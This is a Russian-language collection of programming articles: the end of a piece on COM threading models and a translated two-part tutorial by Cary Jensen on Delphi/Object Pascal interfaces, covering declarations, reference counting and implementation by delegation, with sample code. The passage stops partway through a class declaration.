Серверное приложение также может работать аналогично, т.е. организовывать гроздь объектов в MTA для получения максимальной производительности и, в то же время, порождать кучу потоков STA для других объектов. Мне нет никакой необходимости демонстрировать, как клиент или сервер собирается создавать STA и MTA в рамках единственного процесса, так как Вы уже знакомы с технологией как это делается. Необходимо только создать букет потоков, каждый из которых входит либо в STA, либо в MTA и, бум!, Вы получили смешанную потоковую модель, работающую в Вашем приложении. Об этой смешанной модели важно знать то, что она существует и может оказаться очень удобной для решения каких-то проблем, которые могут встретиться Вам при создании Вами клиентских и серверных приложений. Поддержка смешанной потоковой модели для внешних серверов заключается просто в создании букета потоков и явным указанием для каждого потока его STA или MTA.
Для внутренних серверов, однако, мы можем ожидать, что COM полагается на строковый параметр ThreadingModel, как и в случае однопотокового STA. Сервером объектов может быть использован строковый параметр "ThreadingModel=Both" для указания, что COM может свободно создавать этот объект в STA или в MTA, т.е. он поддерживает как STA, так и MTA.
Но как COM узнает, должен он создавать объект в STA или в MTA? Как я уже говорил ранее, внутренний сервер обычно рассчитывает, что клиентское приложение явно создает потоки STA и MTA, содержащие серверные объекты. В случае, когда "ThreadingModel=Both", подразделение клиентского потока прямо определяет, где COM будет создавать этот объект. Другими словами, если клиентский поток STA создает объект - COM явно создает его в STA. Если клиентский поток MTA создает объект - COM однозначно создаст его в MTA.


Заключение

Если Вы зашли так далеко и поняли все то, о чем я говорил в этой статье - поздравляю Вас! Смотрите, я же говорил, что потоки в COM - это просто. Вы просто должны затратить немного времени, чтобы не спеша понять много нового, но в конце концов потоки они и есть потоки, это просто новое лицо, появляющееся при интеграции с COM. Я надеюсь, что Вы наслаждались чтением этой статьи так же, как я наслаждался написанием этой статьи (и потоковыми моделями).

На этом все. Скоро ждите еще много интересного!

Сайт автора и другие ресурсы по COM www.intac.com/~bly/com/index.htm


Ревизия интерфейсов (статья)

Ревизия интерфейсов.

Часть 1: Объявления, реализация и разрешение имен методов
Я впервые написал об интерфейсах в апрельском выпуске Delphi Informant Magazine за 1998 год. Почти за два года произошло несколько важных событий. Первое - в Delphi 4 предоставлен новый и важный способ реализации интерфейса в классе. Второе, и возможно более важное - интерфейсы быстро выходят за рамки своего первоначального назначения: естественной поддержки COM (Компонентная Объектная Модель фирмы Майкрософт). В результате, видимо, пришло время для пересмотра этой важной темы.
Но только, что является интерфейсом и почему он так важен? Интерфейс - это определение методов и свойств, которые могут быть реализованы классом. Интерфейс предусматривает совместимость по назначению (часто называемую полиморфизмом) между различными объектами, которые реализуют общий интерфейс. Еще важнее, что интерфейсы обеспечивают полиморфизм без ограничений, обычно связываемых с полиморфизмом через наследование. Действительно, хотя два класса не наследуют методы от общего предка, к ним можно обращаться полиморфно в отношении метода, если этот метод определен для интерфейса обоих классов реализации. С другой стороны, интерфейсы позволяют определять свои методы и свойства абсолютно независимо от объекта реализации.
Эта статья начинается с обзора, почему интерфейсы важны в объектном Паскале, и продолжается детальным обсуждением характеристик интерфейсов. Это обсуждение включает декларацию интерфейсов, требования к их реализации, и разрешение имен методов. Во второй части этой статьи будет продолжение с подробным примером использования интерфейсов, включая использование интерфейса делегированием, предоставленного в Delphi 4.

Почему в Delphi добавлены интерфейсы?
Легкий ответ - чтобы обеспечить естественную поддержку COM. Однако, поддержка COM, предусмотренная в интерфейсах - побочный продукт их функциональности. Действительно, интерфейсы обеспечивают элегантный механизм для полиморфного обращения к объектам, даже когда у них нет общих предков.
Эту концепцию трудно описать, но пример поможет ее проиллюстрировать. Рассмотрим ситуацию, когда Вы хотите создать группу компонент пользовательского интерфейса (UI), которые разделяют общие способности, такие как способность загрузки строковых данных из файла ресурсов. Кроме того, Вы можете захотеть предоставить новый метод, названный LoadStrings, в каждом из Ваших новых UI компонентов, и в реализации этого метода загрузить строки этих компонент из ресурсного файла, возможно основываясь на свойстве компонента Tag.
Пока все хорошо. Однако, другой аспект этой структуры - возможность инициирования процесса загрузки для каждого из Ваших компонент общей командой. В Delphi 1 и 2, где интерфейсы еще не были предоставлены, это было почти невозможно. Рассмотрим псевдокод на рисунке 1 (который будет компилироваться).

// Псевдокод.
interface

uses controls, stdctrls;
type
TNewButton = class(TButton)
public
procedure LoadStrings; virtual;
end;
TNewLabel = class(TLabel)
public
procedure LoadStrings; virtual;
end;
implementation

procedure TNewLabel.LoadStrings;
begin
// Код для загрузки строк NewLabel
// из файла ресурсов.
end;

procedure TNewButton.LoadStrings;
begin
// Код для загрузки строк NewButton
// из файла ресурсов.
end;

Хотя этот код компилируется, невозможно вызвать метод LoadStrings этих объектов полиморфным способом. Например, следующий метод не компилируется:

procedure DoLoadStrings(LoadableObject: TControl);
begin
  LoadableObject.LoadStrings;
end;

Проблема в том, что хотя LoadStrings может быть законным методом определенного экземпляра TControl, к которому Вы применяете DoLoadStrings, это не метод класса TControl. Только, если LoadStrings будет публичным или опубликованным методом класса TControl, этот код будет правильно компилироваться.

Подход со множественным наследованием
Если бы Delphi поддерживала множественное наследование, эта проблема была бы решена довольно легко. Действительно, Вы могли бы создать другой класс (назовем его TLoadable) который включал бы абстрактный виртуальный метод LoadStrings. Тогда, при объявлении каждого из Ваших UI компонент, Вы могли бы объявить их наследниками от обоих естественных предков (TNewButton от TButton и TNewLabel от TLabel) и TLoadable. Псевдокод, показанный на рисунке 2 демонстрирует как это могло бы выглядеть.

// Псевдокод.
interface

uses controls, stdctrls;

type
TLoadable = class(TObject)
public
procedure LoadStrings; virtual; abstract;
end;
TNewButton = class(TButton, TLoadable)
public
procedure LoadStrings; override;
end;
TNewLabel = class(TLabel, TLoadable)
public
procedure LoadStrings; override;
end;

implementation

procedure TNewLabel.LoadStrings;
begin
// Код для загрузки строк NewLabel
// из файла ресурсов.
end;

procedure TNewButton.LoadStrings;
begin
// Код для загрузки строк NewButton
// из файла ресурсов.
end;

Если бы Delphi поддерживал множественное наследование, Вы могли бы создать другой класс (TLoadable), который включал бы абстрактный виртуальный метод LoadStrings.
Теперь все, что Вы должны были бы сделать - изменить описание DoLoadStrings, чтобы оно было похоже на следующее:

procedure DoLoadStrings(LoadableObject: TLoadable);
begin
  LoadableObject.LoadStrings;
end;

Поскольку этот измененный метод получает объект TLoadable как параметр, и поскольку объекты TLoadable имеют видимый метод LoadStrings, все должно работать прекрасно. Единственная проблема состоит в том, что Delphi не поддерживает множественное наследование, и, следовательно, этот код нельзя откомпилировать.

Решение: Интерфейсы
Оно стало возможным когда появились интерфейсы. Интерфейс это объявление, мало чем отличающееся от абстрактного виртуального класса Loadable, показанного на рисунке 2. Кроме того, интерфейс может использоваться двумя и более классами, чтобы сделать эти классы совместимыми по назначению, таким же образом, которым наследование предусматривает полиморфизм.
Рассмотрим пример кода, показанный на рисунке 3. Этот код включает одно объявление интерфейса, названного ILoadable, и объявления двух классов. Каждый из этих классов реализует интерфейс ILoadable.

// Пример кода.
interface

uses stdctrls;

type
ILoadable = interface
procedure LoadStrings;
end;
TNewButton = class(TButton, ILoadable)
public
procedure LoadStrings;
end;
TNewLabel = class(TLabel, ILoadable)
public
procedure LoadStrings;
end;

implementation

procedure TNewLabel.LoadStrings;
begin
// Код для загрузки строк NewLabel
// из файла ресурсов.
end;

procedure TNewButton.LoadStrings;
begin
// Код для загрузки строк NewButton
// из файла ресурсов.
end;

Этот код включает одно объявление интерфейса и объявления двух классов.
На языке интерфейсов мы говорим, что оба класса TNewButton и TNewLabel реализуют интерфейс ILoadable. Кроме того, поскольку оба этих класса реализуют общий интерфейс, они совместимы по назначению с интерфейсной ссылкой. Поэтому, мы можем заставить эту структуру работать обобщенно, изменив тип параметра в нашем методе DoLoadStrings на ILoadable. Следующий сегмент кода демонстрирует как выглядит законченный метод:

procedure DoLoadStrings(LoadableObject: ILoadable);
begin
  LoadableObject.LoadStrings;
end;

Поскольку DoLoadStrings может получать ILoadable объект, следующий фрагмент кода полностью законен:

var
  NewButton1: TNewButton;
  NewLabel1: TNewLabel;
begin
  NewButton1 := TNewButton.Create(Application);
  DoLoadStrings(NewButton1);
  NewLabel1 := TNewLabel.Create(Application);
  DoLoadStrings(NewLabel1);

Декларация интерфейсов в объектном Паскале
Как Вы можете видеть в коде предыдущего примера, интерфейс объявленный в декларации типов, очень похож на класс. Однако декларация интерфейса отличается от декларации класса в нескольких важных вещах. Например, интерфейс состоит только из объявлений методов и свойств. В интерфейсе нет полей члена класса.
Поля члена класса используются для хранения данных в экземпляре класса. Интерфейсы, в отличие от классов, никогда не могут быть экземплярами. Следовательно, интерфейс не может содержать данных, и из-за этого не может иметь объявления полей.
Так как интерфейсы не имеют полей, существуют ограничения, в объявлении их свойств. Действительно, в то время как класс может осуществлять чтение и запись свойств, используя прямой подступ, интерфейсы могут использовать только методы. Определенно, когда свойство объявлено в интерфейсе, чтение свойства описывается с использованием метода-функции, а запись свойства - с использованием метода-процедуры.
Следующий пример - простая декларация интерфейса, которая содержит метод ShowMessage и свойство MessageText. Два других метода GetMessageText и SetMessageText, также рассматривается как методы интерфейса:

type
IShowMessage = interface
  function ShowMessage: Boolean;
  function GetMessageText: string;
  procedure SetMessageText(Value: string);
  property MessageText: string
  read GetMessageText write SetMessageText;
end;

Для сравнения, декларация класса может описывать поля членов в частях read и write. Это называется прямым доступом, потому что объект, читая свойство, будет читать непосредственно из поля, и любой объект, пишущий в свойство, будет писать непосредственно в поле.
Все методы в декларации интерфейса рассматриваются как виртуальные и абстрактные по определению. Следовательно, в декларации интерфейса никогда не используются директивы virtual и abstract. Кроме того, в декларации интерфейса нет идентификаторов видимости (public, published и т. д.). Со всеми методам и свойствами, объявленными в интерфейсе, обращаются как с public, хотя класс, реализующий методы, может использовать идентификаторы видимости для управления их видимостью в классе.
Класс реализует интерфейс включением имени интерфейса в круглые скобки, которые следуют за ключевым словом class в декларации его типа. Имя интерфейса отделяется от имени предка класса запятой. Кроме того, один класс может реализовывать два и более интерфейсов. Когда реализуется больше, чем один интерфейс, Вы перечисляете эти интерфейсы в списке, разделяя их запятой, после имени класса предка.

Реализация методов интерфейса
Класс, который реализует интерфейс, нужен, чтобы обеспечить реализацией каждый метод, объявленный в интерфейсе. Реализация может быть обеспечена или явным объявлением или в соответствии с наследованием от предка класса. Например, если класс TNewLabel объявлен для реализации интерфейса ILoadable и в этом интерфейсе объявлен один метод, названный LoadStrings, то класс TNewLabel должен или наследовать метод с соответствующим описанием по имени LoadStrings, или этот метод должен быть явно объявлен в классе и реализован. Кроме того, если унаследованный метод LoadStrings - абстрактный, то должна быть предусмотрена реализация этого метода в реализации класса TNewLabel.
Хотя класс, который реализует интерфейс, должен реализовать все методы, объявленные в этом интерфейсе, не требуется, чтобы он реализовал все свойства интерфейса, или хотя бы одно из этих свойств. Например, в интерфейсе IShowMessage, описанном ранее, класс, реализующий IShowMessage, не обязан иметь свойство MessageText.
Это место может смущать, но имеет большой смысл. Свойство интерфейса принадлежит интерфейсу. Содержит ли реализующий объект свойство не имеет значения. Фактически, (чтобы усугубить вопрос) объект, который реализует интерфейс, может иметь свойство, которое имеет такое же название как и свойство, объявленное в интерфейсе, и все же свойство интерфейса и свойство объекта могут быть абсолютно несвязанны. Компилятор может сообщить к которому из свойств обращаются, основываясь на том, является ли квалификатор свойства интерфейсной ссылкой (в этом случае вызываются доступные методы интерфейса) или объектной ссылкой (в этом случае, независимо от механизма используемого объектом для реализации свойства, используется объект).

Иерархия интерфейсов
Интерфейсы организованы в иерархию, очень похожую на иерархию классов Delphi. В Delphi, все интерфейсы, за исключением IUnknown, наследуются от существующего интерфейса. IUnknown- интерфейс самого высокого уровня, это значит, что все интерфейсы обязательно наследуются от него. Когда Вы видите объявление интерфейса, в котором не определен предок (подобно интерфейсу IShowMessage, объявленному в коде предыдущего примера), интерфейс наследуется от IUnknown. Интерфейсы, которые наследуются от другого интерфейса, чем IUnknown, содержат название интерфейса предка в своем объявлении типа. Это демонстрируется в следующем объявлении интерфейса:

type
INewInterface = interface(IDispatch)
...

Когда класс реализует интерфейс, он ответственен за реализацию не только всех методов этого интерфейса, но и всех методов всех предков интерфейса. Рассмотрим следующее объявление, которое содержит объявление интерфейса IUnknown в объектном Паскале.

IUnknown = interface
['{ 00000000-0000-0000-C000-000000000046 }']
function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
function _AddRef: Integer; stdcall;
function _Release: Integer; stdcall;
end;

Зная, что IShowMessage наследуется от IUnknown, любой класс, который реализует IShowMessage, должен реализовать не только три метода IShowMessage, но также и три метода IUnknown. К счастью, как описано ранее в этой статье, эта реализация может быть унаследована. Например, класс TComponent реализует методы QueryInterface, _AddRef, and _Release. В результате, любой объект, который наследуется от TComponent, может реализовать IShowMessage, объявляя и реализуя только три метода IShowMessage. Реализация методов IUnknown обеспечивается наследованием.

Интерфейсные ссылки
Интерфейсная ссылка указывает на экземпляр объекта, который реализует интерфейс. Интерфейсная ссылка может быть переменной, формальным параметром, свойством объекта, и даже значением, возвращаемым из функции. В процедуре DoLoadStrings, описанной ранее, интерфейсная ссылка была формальным параметром (LoadableObject).
Интерфейсная ссылка используется для вызова методов интерфейса, а также для чтения и/или записи свойств интерфейса. Во время выполнения, вызывается конкретный метод (или метод доступа к свойству) объекта, на который указывает ссылка. Например, передача объекта TNewButton в DoLoadStrings, приводит к вызову конкретной реализации LoadStrings, определенной в классе TNewLabel. Для сравнения, передача TNewLabel в DoLoadStrings приводит к поведению, определенному в TNewLabel. Однако, интерфейсная ссылка ограничена работой только с теми свойствами и методами, которые определены в интерфейсе. К любым методам, свойствам или полям объекта, которые не являются частью определения интерфейса, нельзя обращаться через интерфейсную ссылку.
Снова обсудим метод DoLoadStrings. Хотя Вы можете передавать в этот метод любые объекты, реализующие ILoadable, Вы можете использовать формальный параметр LoadableObject только для вызова методов ILoadable. Действительно, даже притом, что Вы можете передавать экземпляр TNewButton в DoLoadStrings, компилятор не разрешит обращаться к свойству Enabled класса TNewButton из LoadableObject - или к любому другому свойству этого класса. Могут быть вызваны только методы LoadStrings, QueryInterface, _AddRef и _Release, потому что только они являются методами интерфейса ILoadable. (Помните, что ILoadable наследуется от IUnknown по определению).
Еще одно дополнение относительно интерфейсных ссылок состоит в правиле: Вы не можете преобразовывать интерфейсную ссылку в объект. Например, Вы не можете преобразовать LoadableObject в TNewButton.

Разрешение имен методов интерфейса
Как Вы уже знаете, любому объекту, который реализует интерфейс, необходимо реализовывать методы, определенные в этом интерфейсе. Это может составить проблему, если в интерфейсе объявлен метод, чье имя уже используется объектом, который должен реализовать интерфейс.
Например, представим, что есть класс по имени TMessageObject, который должен реализовать интерфейс IShowMessage, но он наследует метод ShowMessage от предка. Проблема, если унаследованный метод концептуально отличается от интерфейсного метода с тем же именем. В этом случае, необходимо реализовать метод, соответствующий методу интерфейса, и он должен отличаться от унаследованного метода.
Delphi обеспечивает отображение методов интерфейса на реализующие методы с другим именем. Например, рассмотрим следующее объявление TMessageObject:

type
TMessageObject = class(TParentMessageObject,IShowMessage)
 FMessText: string;
 function IShowMessage.ShowMessage := DisplayMessage;
 function GetMessagText: string;
 procedure SetMessageText(Value: string);
 function DisplayMessage: Boolean;
end;

Это объявление описывает, что TMessageObject наследуется от TParentMessageObject, и реализует IShowMessage. Поскольку TMessageObject уже имеет метод ShowMessage (наследованием), есть необходимость отобразить метод IShowMessage.ShowMessage на метод с другим именем, которое в этом случае является DisplayMessage. При использовании разрешения метода интерфейса, чтобы отобразить метод интерфейса на новое имя метода - метод интерфейса и метод на который он отображается должны иметь одинаковый список параметров и одинаковое возвращаемое значение.
Учитывая предшествующее объявление типа, если вызывается метод ShowMessage экземпляра TMessageObject, с использованием объектной ссылки с типом TMessageObject, выполнится наследуемый метод ShowMessage. Однако, если экземпляр TMessageObject назначен переменной IShowMessage, и вызывается метод ShowMessage, выполнится метод DisplayMessage.

Заключение
Обсуждение интерфейсов будет продолжено во второй части этой серии. Вторая часть начнется с рассмотрения того, как сильно отличается использование объектов с интерфейсными ссылками от стандартного использования объектов. Вы также найдете детальный обзор реализации интерфейсов делегированием, представленным в Delphi 4.
Cary Jensen is President of Jensen Data Systems, Inc., a Houston-based database development company. He is co-author of 17 books, including Oracle JDeveloper [Oracle Press, 1998], JBuilder Essentials [Osborne/McGraw-Hill, 1998], and Delphi in Depth [Osborne/McGraw-Hill, 1996]. He is a Contributing Editor of Delphi Informant Magazine, and an internationally respected trainer of Delphi and Java. For more information, visit http://www.delphizine.com/include/Click_Redir.asp?Url=http://www.jensendatasystems.com/, or e-mail Cary at mailto:cjensen@compuserve.com.
By Cary Jensen, Ph.D.
Перевел Мотов Олег mailto:olegm@tebuk.parma.ru http://olegmotov.h1.ru

Ревизия интерфейсов
Часть 2: Интерфейсные ссылки против объектных ссылок
Как Вы помните из первого выпуска этой серии статей, интерфейсы - это объявления методов и свойств, которые могут быть реализованы в классе.
Основное достоинство интерфейсов состоит в том, что они допускают совместимость по назначению между двумя и более объектами, которые реализуют общий интерфейс. Другими словами, интерфейсы разрешают двум объектам быть обработанными полиморфно в отношении методов и свойств интерфейса, даже притом, что эти объекты не наследуют методы и свойства от общего предка. В этом отношении, интерфейсы обеспечивают ключевую (критическую) поддержку полиморфизма в языках типа Object Pascal, которые не поддерживают множественное наследование. Кроме того, с точки зрения объектно-ориентированного дизайна, интерфейсы обеспечивают элегантный способ определить поведение объекта независимо от его реализации.
В первой части я описал основные правила декларации интерфейсов и реализации классов. В этой части мы рассмотрим использование объектов через интерфейсные ссылки, и покажем как это использование отличается от обычного использования объектов. Я также опишу дополнительную поддержку реализации интерфейсов, которая была добавлена в Delphi 4. Эта поддержка, называемая реализация интерфейсов делегированием, завершает модель интерфейсов Delphi. Это статья заканчивается обсуждением двух типов реализации интерфейсов делегированием, где я докажу, что только одна форма реализации интерфейсов делегированием безопасна в использовании, тогда как другой свойственна опасность.

Интерфейсные ссылки против объектных ссылок
В использовании интерфейсных и объектных ссылок есть существенные различия. Самое большое связано с управлением жизненным циклом объектов. Действительно, обращение к объектам через интерфейс происходит с подсчетом ссылок. Когда Вы присваиваете объект интерфейсной ссылке, неявно вызывается метод _AddRef. Точно так же, когда интерфейсная ссылка освобождается, вызывается метод объекта _Release.
Все объекты, реализующие интерфейс, должны реализовывать методы _AddRef и _Release. Это необходимо, потому что все интерфейсы в конечном счете наследуются от IUnknown, и (как обсуждалось в первой части), любой объект, который реализует интерфейс, должен также реализовать все методы, объявленные, в предках интерфейса. В реализации метода _AddRef, объект должен увеличить внутренний счетчик ссылок. В методе _Release, этот счетчик ссылок уменьшается. Кроме того, в методе _Release объект должен явно уничтожаться, если счетчик ссылок уменьшится до нуля. Пример реализации такого типа показан на методах интерфейса IUnknown, которые реализованы в классе TInterfacedObject, показан на рисунке 1.

function TInterfacedObject.QueryInterface(const IID: TGUID; out Obj): HResult;const E_NOINTERFACE = HResult($80004002);
begin
 if GetInterface(IID, Obj) then
   Result := 0
 else
  Result := E_NOINTERFACE;
end;

function TInterfacedObject._AddRef: Integer;
begin
 Result := InterlockedIncrement(FRefCount);
end;

function TInterfacedObject._Release: Integer;
begin
 Result := InterlockedDecrement(FRefCount);
 if Result = 0 then Destroy;
end;

Рисунок 1: Методы IUnknown, реализованные классом TInterfacedObject.
Компилятор автоматически генерирует необходимый вызов QueryInterface при назначении объекта, реализующего интерфейс, интерфейсной ссылке. Как показано на рисунке 1, TInterfacedObject.QueryInterface вызывает GetInterface, который является методом класса TObject. GetInterface вызывает метод _AddRef объекта, у которого запрашивается интерфейс.
Компилятор также генерирует вызовы _Release. Есть три ситуации, в которых компилятор генерирует обращения к _Release:
· Интерфейсной ссылке присваивается значение nil.
· Интерфейсной ссылке переназначается другой объект, реализующий интерфейс.
· Интерфейсная ссылка выходит из области видимости.
Как Вы можете видеть на рисунке 1, когда вызывается метод _Release и счетчик ссылок уменьшается до нуля, автоматически вызывается деструктор объекта.
Такое поведение, которое происходит только при использовании интерфейсных ссылок, существенно отличается от поведения, наблюдаемого при использовании объектных ссылок. При использовании объектных ссылок, жизненный цикл объектов управляется одним из двух способов: или Вы полагаетесь на сборку "мусора" класса TComponent, в котором Владелец(Owner) объекта (назначенный в методе TComonent.Create) уничтожает все существующие объекты, которыми он владеет (то есть те объекты, на которые ссылается его свойство-массив Components) как часть своего собственного процесса уничтожения; или Вы явно вызываете метод Free (или Release для экземпляра TForm). Если объектная ссылка не потомок TComponent (или если у объекта нет собственника пр. пер.), то Вы должны явно вызвать метод Free для освобождения объекта.
Различия в управлении жизненным циклом приводят к существенно разному коду, в зависимости от того, используете ли Вы интерфейсные или объектные ссылки. Эти различия можно найти в примере приложения DEMOINT (доступного для загрузки, для подробностей смотрите конец статьи). Возможно Вы захотите загрузить этот файл и рассмотреть весь модуль главной формы. Для краткости, я в данное время сосредоточусь только на части этого файла.
Сначала рассмотрим декларацию одного интерфейса и двух классов, которые реализуют этот интерфейс. Для ясности, я сохранил декларацию этого интерфейса и классы его реализации очень простой, как показано на Рисунке 2.
type
IShowMessage = interface(IUnknown)
['{ F8AA90A1-EA2D-11D0-82A8-444553540000 }']
function ShowMessage:Boolean;
function GetMessageText: string;
procedure SetMessageText(Value: string);
property MessageText: string
read getMessageText write setMessageText;
end;

TYesDefault = class(TInterfacedObject, IShowMessage)
FMessageText: string;
function ShowMessage: Boolean;
function GetMessageText: string;
procedure SetMessageText(value: string);
public
destructor Destroy; override;
end;

TNoDefault = class(TInterfacedObject, IShowMessage)
FMessageText: string;
function ShowMessage: Boolean;
function GetMessageText: string;
procedure SetMessageText(value: string);
public
destructor Destroy; override;
end;

Рисунок 2: Декларация интерфейса и двух классов, которые его реализуют.
Первая вещь, на которую Вы обратите внимание, состоит в том, что интерфейс IShowMessage связан с большим числом. На это число ссылаются как на глобальный уникальный идентификатор интерфейса, или сокращенно GUID (произносится как гуид). Это 128-битный число, сгенерированное вызовом API-функции Windows, которая гарантирует, что это число абсолютно уникально, даже среди различных компьютеров. Цель GUID - уникально идентифицировать интерфейс, когда он зарегистрирован для использования COM (объектная модель программных компонентов) в системном реестре Windows.
Object Pascal не требует, чтобы Вы генерировали и регистрировали GUID для интерфейсов, которые вы создаете. Однако, в том случае, если Вы решите использовать интерфейс как интерфейс COM когда-нибудь в будущем, не повредит назначить интерфейсу GUID. И редактор Delphi делает генерацию GUID очень легким. Чтобы вставить GUID в исходный код, просто нажмите [Ctrl][Shift][G].
Остальная часть декларации интерфейса довольно проста. В ней объявляется одно свойство, названное MessageText, и три метода. Два из этих методов - методы доступа к свойству.
Как Вы знаете из первой части этой серии, интерфейсы не реализуют методы. Это ответственность классов, которые реализуют интерфейс. На рисунке 2, классы TYesDefault и TNoDefault реализуют интерфейс IShowMessage. Поскольку ни TYesDefault ни TNoDefault не наследуют методы интерфейса IShowMessage, в этих классах должны быть явно объявлены и реализованы эти методы. Обратите внимание, что свойство MessageText не объявлено ни в TYesDefault ни в TNoDefault. Как упоминалось в первой части, классы, реализующие интерфейс, не требуют явного объявления свойств интерфейса. Это действие абсолютно необязательно, и я посчитал его необязательным и в нашем случае. Однако, поскольку эти классы должны реализовать методы доступа к свойству GetMessageText и SetMessageText, и эти методы требуют сохранения текста сообщения, было необходимым объявить поле, названное FMessageText, чтобы хранить содержимое сообщения в объектах класса.
Хотя эти два класса выглядят почти одинаково, они различны. Различие можно найти в реализациях метода ShowMessage. Рисунок 3 показывает реализацию этих классов. Я также перекрыл деструкторы этих классов. Это было сделано для того, чтобы можно было увидеть результат управления жизненным циклом и сравнить как оно отличается между интерфейсными и объектными ссылками.

function TYesDefault.GetMessageText: string;
begin
Result := FMessageText;
end;

procedure TYesDefault.SetMessageText(value: string);
begin
FMessageText := Value;
end;

function TYesDefault.ShowMessage;
begin
if MessageBox(Application.Handle, 'Continue?',
PChar(FMessageText),
MB_OKCANCEL+MB_DEFBUTTON1) <> IDOK then
Result := False
else
Result := True;
end;

destructor TYesDefault.Destroy;
begin
Dialogs.ShowMessage('YesDefault: Goodbye');
inherited;
end;

function TNoDefault.GetMessageText: string;
begin
Result := FMessageText;
end;

procedure TNoDefault.SetMessageText(value: string);
begin
FMessageText := Value;
end;

function TNoDefault.ShowMessage;
begin
if MessageBox(Application.Handle, 'Continue?',
PChar(FMessageText),
MB_OKCANCEL+MB_DEFBUTTON2) <> IDOK then
Result := False
else
Result := True;
end;

destructor TNoDefault.Destroy;
begin
Dialogs.ShowMessage('NoDefault: Goodbye');
inherited;
end;

Рисунок 3: Реализация TYesDefault и TNoDefault.
Как упоминалось ранее, единственное реальное различие между реализациями этих классов может быть обнаружено в методе ShowMessage. Когда вызывается метод TYesDefault.ShowMessage, отображается диалоговое окно с заданной по умолчанию кнопкой OK. Для сравнения, когда вызывается TNoDefault.ShowMessage, заданная по умолчанию - кнопка Cancel. Это единственное различие позволяет нам показать, какая из реализаций интерфейса вызывается, отметив, которая из кнопок на отображенном диалоговом окне является основной.
Давайте теперь обратим наше внимание на использование этих двух объектов. Основная форма DEMOINT содержит четыре кнопки (см. рисунок 4). Начнем с первых двух - помеченных Use Objects и Use Interfaces. На рисунке 5 - обработчик события OnClick, связанный с кнопкой Use Objects.

Основная форма проекта DEMOINT.
procedure TForm1.Button1Click(Sender: TObject);
var
YesDefault1: TYesDefault;
NoDefault1: TNoDefault;
begin
YesDefault1 := TYesDefault.Create;
NoDefault1 := TNoDefault.Create;
YesDefault1.SetMessageText('This is a TYesDefault');
YesDefault1.ShowMessage;
NoDefault1.SetMessageText('This is a TNoDefault');
NoDefault1.ShowMessage;
YesDefault1.Free;
NoDefault1.Free;
end;

Рисунок 5: Обработчик события OnClick для кнопки Use Objects.
Здесь мы видим традиционный способ использования экземпляров класса. Вызывается конструктор класса, вызываются методы экземпляра класса, и затем он освобождается. Обратите внимание, что мы используем методы доступа, чтобы установить текст сообщения диалогового окна. Мы не можем использовать свойство MessageText в этом случае, потому что оно не является свойством классов TYesDefault или TNoDefault.
Давайте сравним этот код с кодом, связанным с кнопкой помеченной Use Interfaces. На рисунке 6 показан код обработчика события OnClick, связанного с этой кнопкой.

procedure TForm1.Button2Click(Sender: TObject);
var
IntVar: IShowMessage;
begin
IntVar := TYesDefault.Create;
IntVar.MessageText := 'This is a TYesDefault';
IntVar.ShowMessage;
IntVar := TNoDefault.Create;
IntVar.MessageText := 'This is a TNoDefault';
IntVar.ShowMessage;
end;

Рисунок 6: Обработчик события OnClick для кнопки Use Interfaces.
Здесь мы используем переменную типа IShowMessage - интерфейсную ссылку. Кроме того, мы можем использовать свойство MessageText, чтобы установить текст сообщения диалогового окна, потому что у интерфейса IShowMessage есть это свойство. Кроме этих двух различий, есть два других важных различия между этой и предыдущей частями кода. Первое - для ссылки на два экземпляра объектов используется одна переменная типа IShowMessage. Другими словами, экземпляры классов TYesDefault и TNoDefault совместимы по назначению со ссылкой IShowMessage.
Второе важное отличие состоит в том, что эти объекты не освобождаются явно. Вместо этого, их жизненный цикл управляется интерфейсной ссылкой. Вы это увидите, если загрузите и запустите этот проект. Когда Вы нажмете на кнопку Use Interfaces, вначале увидите диалоговое окно YesDefault. Как только Вы нажмете на одну из кнопок диалогового окна, Вы увидите сообщение, показанное деструктором экземпляра YesDefault. Этот деструктор вызывается когда переменной IShowMessage назначается экземпляр TNoDefault. Другими словами, когда интерфейсная ссылка направляется на другой объект, реализующий интерфейс, первая ссылка освобождается и в результате этого вызывается деструктор. После сообщения деструктора, показывается диалоговое окно экземпляра NoDefault. Снова, после нажатия на кнопку этого диалогового окна, Вы увидите сообщение, показанное деструктором объекта NoDefault. В данном случае, это происходит, потому что переменная IShowMessage вышла из области видимости.

Реализация интерфейсов делегированием
Начиная с Delphi 4, был предоставлен новый важный механизм реализации интерфейсов. Вместо того, чтобы явно объявлять и реализовывать каждый метод интерфейса, Вы можете объявить свойство типа класс или интерфейс и делегировать реализацию интерфейса этому свойству. Когда объект, реализующий интерфейс, назначается интерфейсной ссылке, этот объект, назначается свойству интерфейса, которое снабжается интерфейсной ссылкой.
На первый взгляд это дополнение поддержки интерфейсов может показаться необязательным, но в действительности ("в действительности" устаревшее выражение, на самом деле современные люди употребляют выражение "на самом деле" пр. пер.) оно очень полезно. На примере продемонстрируем почему. Представим, что у Вас есть 20 различных объектов, которые должны реализовать один интерфейс. Допустим, что эти объекты не наследуют методы интерфейса. В Delphi 3 было необходимо для каждого из реализующих классов объявить и реализовать методы интерфейса. Допустим, что все 20 классов, реализуют интерфейс абсолютно одинаково и Вы имеете 20 различных копий одного кода. Если Вы решите, что общая реализация должна быть изменена, Вам надо будет изменить код в 20 различных классах.
Реализация интерфейсов делегированием решает эту проблему. Вместо объявления и реализации интерфейса в каждом из 20 классов, Вы можете создать один класс, реализующий интерфейс. Затем, в каждом из 20 классов, в которых должен быть реализован одинаковый интерфейс, Вы объявляете свойство, которое может содержать ссылку на этот предварительно созданный класс. Другими словами, все 20 классов могут совместно использовать реализацию, предоставленную одним классом. Если Вам позже понадобиться изменить реализацию интерфейса, Вы просто вернетесь к Вашему единственному классу и измените его реализацию. Поскольку все 20 классов делегируют реализацию этому единственному классу, их реализация автоматически изменится.
Как уже упоминалось, есть два типа свойств, которые Вы можете использовать для реализации интерфейса делегированием: свойство типа класс, и свойство типа интерфейс. Кроме того, когда Вы объявляете, что свойство реализует интерфейс делегированием, синтаксис свойства должен включать директиву implements, сопровождаемую названием интерфейса, который оно реализует.
Проект DEMOINT содержит два класса, которые реализуют интерфейс IShowMessage делегированием. Первый класс - TClassProperty реализует интерфейс, используя свойство типа класс. Второй, названный TInterfaceProperty, реализует интерфейс IShowMessage, используя свойство интерфейс. Код на Рисунке 7 показывает декларацию этих двух классов.

type
TClassProperty = class(TComponent, IShowMessage)
private
FMyMessage: TYesDefault;
public
property MyMessage: TYesDefault
read FMyMessage write FMyMessage
implements IShowMessage;
end;

TInterfaceProperty = class(TComponent, IShowMessage)
private
FMyMessage: IShowMessage;
public
